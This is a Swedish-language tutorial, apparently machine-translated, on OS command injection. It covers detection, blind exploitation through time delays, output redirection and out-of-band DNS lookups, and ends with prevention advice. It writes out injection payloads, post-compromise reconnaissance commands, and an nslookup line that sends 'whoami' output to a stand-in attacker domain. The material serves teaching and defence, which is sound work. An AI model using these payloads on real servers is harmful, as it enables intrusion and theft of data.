i det här avsnittet förklarar vi vad OS command injection är, beskriver hur sårbarheter kan upptäckas och utnyttjas, stavar ut några användbara kommandon och tekniker för olika operativsystem och sammanfattar hur man förhindrar OS command injection.
- vad är OS-kommandoinjektion?
- exekvera godtyckliga kommandon
- användbara kommandon
- Blind OS-kommandoinjektionssårbarheter
- upptäcka blind OS-kommandoinjektion med tidsfördröjningar
- utnyttja blind OS-kommandoinjektion genom att omdirigera utdata
- utnyttja blind OS-kommandoinjektion med hjälp av Oast-tekniker (out-of-band)
- sätt att injicera OS-kommandon
- hur man förhindrar OS-kommandoinjektionsattacker
vad är OS-kommandoinjektion?
OS command injection (även känd som shell injection) är en webbsäkerhetssårbarhet som gör det möjligt för en angripare att utföra godtyckliga operativsystem (OS) kommandon på servern som kör ett program, och vanligtvis helt äventyra programmet och alla dess data. Mycket ofta kan en angripare utnyttja en OS – kommandoinjektionssårbarhet för att kompromissa med andra delar av värdinfrastrukturen och utnyttja förtroendeförhållanden för att svänga attacken till andra system inom organisationen.
exekvera godtyckliga kommandon
Tänk på ett shopping-program som låter användaren se om ett objekt finns i lager i en viss butik. Denna information nås via en URL som:
https://insecure-website.com/stockStatus?productID=381&storeID=29
för att tillhandahålla lagerinformationen måste applikationen fråga olika äldre system. Av historiska skäl implementeras funktionaliteten genom att anropa ett skalkommando med produkt-och butiks-ID: n som argument:
stockreport.pl 381 29
detta kommando matar ut lagerstatus för det angivna objektet, vilket returneras till användaren.
eftersom applikationen inte implementerar några försvar mot OS-kommandoinjektion kan en angripare skicka in följande inmatning för att utföra ett godtyckligt kommando:
& echo aiwefwlguh &
om denna ingång lämnas in i parametern productID
, är kommandot som körs av programmet:
stockreport.pl & echo aiwefwlguh & 29
kommandot echo
får helt enkelt den medföljande strängen att echoed i utgången, och är ett användbart sätt att testa för vissa typer av OS-kommandoinjektion. Tecknet &
är en skalkommandoavskiljare, och det som exekveras är faktiskt tre separata kommandon efter varandra. Som ett resultat är utmatningen som returneras till användaren:
Error - productID was not provided
aiwefwlguh
29: command not found
de tre produktionslinjerna visar att:
- det ursprungliga
stockreport.pl
– kommandot utfördes utan dess förväntade argument, och så returnerade ett felmeddelande. - det injicerade kommandot
echo
utfördes och den medföljande strängen upprepades i utgången. - det ursprungliga argumentet
29
utfördes som ett kommando, vilket orsakade ett fel.
att placera den extra kommandoseparatorn &
efter det injicerade kommandot är i allmänhet användbart eftersom det skiljer det injicerade kommandot från vad som följer injektionspunkten. Detta minskar sannolikheten för att det som följer kommer att förhindra att det injicerade kommandot körs.
användbara kommandon
när du har identifierat en OS-kommandoinjektionssårbarhet är det vanligtvis användbart att utföra några initiala kommandon för att få information om det system som du har äventyrat. Nedan följer en sammanfattning av några kommandon som är användbara på Linux – och Windows-plattformar:
syftet med kommandot | Linux | Windows |
---|---|---|
nuvarande användares namn | whoami |
whoami |
operativsystem | uname -a |
ver |
nätverkskonfiguration | ifconfig |
ipconfig /all |
nätverksanslutningar | netstat -an |
netstat -an |
löpande processer | ps -ef |
tasklist |
Blind OS-kommandoinjektionssårbarheter
Många instanser av OS-kommandoinjektion är blinda sårbarheter. Detta innebär att applikationen inte returnerar utmatningen från kommandot inom dess HTTP-svar. Blinda sårbarheter kan fortfarande utnyttjas, men olika tekniker krävs.
Tänk på en webbplats som låter användare skicka feedback om webbplatsen. Användaren anger sin e-postadress och feedbackmeddelande. Applikationen på serversidan genererar sedan ett e-postmeddelande till en webbplatsadministratör som innehåller feedbacken. För att göra detta ringer det till mail
– programmet med de inlämnade detaljerna. Exempelvis:
mail -s "This site is great" -aFrom:[email protected] [email protected]
utmatningen från kommandot mail
(om någon) returneras inte i programmets svar, och så skulle det inte vara effektivt att använda echo
nyttolast. I den här situationen kan du använda en mängd andra tekniker för att upptäcka och utnyttja en sårbarhet.
upptäcka blind OS-kommandoinjektion med tidsfördröjningar
du kan använda ett injicerat kommando som utlöser en tidsfördröjning, så att du kan bekräfta att kommandot kördes baserat på den tid som applikationen tar för att svara. Kommandot ping
är ett effektivt sätt att göra detta, eftersom det låter dig ange antalet ICMP-paket som ska skickas, och därmed den tid det tar för kommandot att köra:
& ping -c 10 127.0.0.1 &
detta kommando kommer att få applikationen att pinga sin loopback – nätverksadapter i 10 sekunder.
utnyttja blind OS-kommandoinjektion genom att omdirigera utdata
du kan omdirigera utdata från det injicerade kommandot till en fil i webbroten som du sedan kan hämta med din webbläsare. Om programmet till exempel serverar statiska resurser från filsystemplatsen /var/www/static
kan du skicka in följande inmatning:
& whoami > /var/www/static/whoami.txt &
tecknet >
skickar utmatningen från kommandot whoami
till den angivna filen. Du kan sedan använda din webbläsare för att hämta https://vulnerable-website.com/whoami.txt
för att hämta filen och visa utdata från det injicerade kommandot.
utnyttja blind OS-kommandoinjektion med hjälp av Oast-tekniker (out-of-band)
du kan använda ett injicerat kommando som utlöser en nätverksinteraktion utanför bandet med ett system som du kontrollerar med hjälp av Oast-tekniker. Till exempel:
& nslookup kgji2ohoyw.web-attacker.com &
denna nyttolast använder kommandot nslookup
för att orsaka en DNS-sökning för den angivna domänen. Angriparen kan övervaka för den angivna sökningen som inträffar och därigenom upptäcka att kommandot injicerades framgångsrikt.
out-of-band-kanalen ger också ett enkelt sätt att exfiltrera utmatningen från injicerade kommandon:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
detta kommer att orsaka en DNS-sökning till angriparens domän som innehåller resultatet av kommandot whoami
:
wwwuser.kgji2ohoyw.web-attacker.com
sätt att injicera OS-kommandon
en mängd olika skalmetatecken kan användas för att utföra OS-kommandoinjektionsattacker.
ett antal tecken fungerar som kommandoavskiljare, vilket gör att kommandon kan kedjas ihop. Följande kommandoavskiljare fungerar på både Windows-och Unix – baserade system:
-
&
-
&&
-
|
-
||
följande kommandoseparatorer fungerar endast på Unix – baserade system:
-
;
- ny linje (
0x0a
eller\n
)
på Unix-baserade system kan du också använda backticks eller dollar-tecknet för att utföra inline-körning av ett injicerat kommando inom det ursprungliga kommandot:
-
`
injicerat kommando`
-
$(
injicerat kommando)
Observera att de olika skalmetatecknen har subtilt olika beteenden som kan påverka om de fungerar i vissa situationer, och om de tillåter In-band hämtning av kommandoutmatning eller är användbara endast för blind exploatering.
ibland visas inmatningen som du kontrollerar inom citattecken i det ursprungliga kommandot. I den här situationen måste du avsluta det citerade sammanhanget (med "
eller '
) innan du använder lämpliga skalmetatecken för att injicera ett nytt kommando.
hur man förhindrar OS-kommandoinjektionsattacker
det överlägset mest effektiva sättet att förhindra OS-kommandoinjektionssårbarheter är att aldrig ringa ut till OS-kommandon från programlagerkod. I praktiskt taget alla fall finns det alternativa sätt att implementera den nödvändiga funktionaliteten med hjälp av safer platform API: er.
om det anses oundvikligt att ringa ut till OS-kommandon med användarlevererad ingång, måste stark ingångsvalidering utföras. Några exempel på effektiv validering inkluderar:
- validera mot en vitlista över tillåtna värden.
- validera att ingången är ett tal.
- validerar att inmatningen endast innehåller alfanumeriska tecken, ingen annan syntax eller blanksteg.
försök aldrig att sanera indata genom att undkomma skalmetatecken. I praktiken är detta bara för felbenägen och sårbar för att förbigås av en skicklig angripare.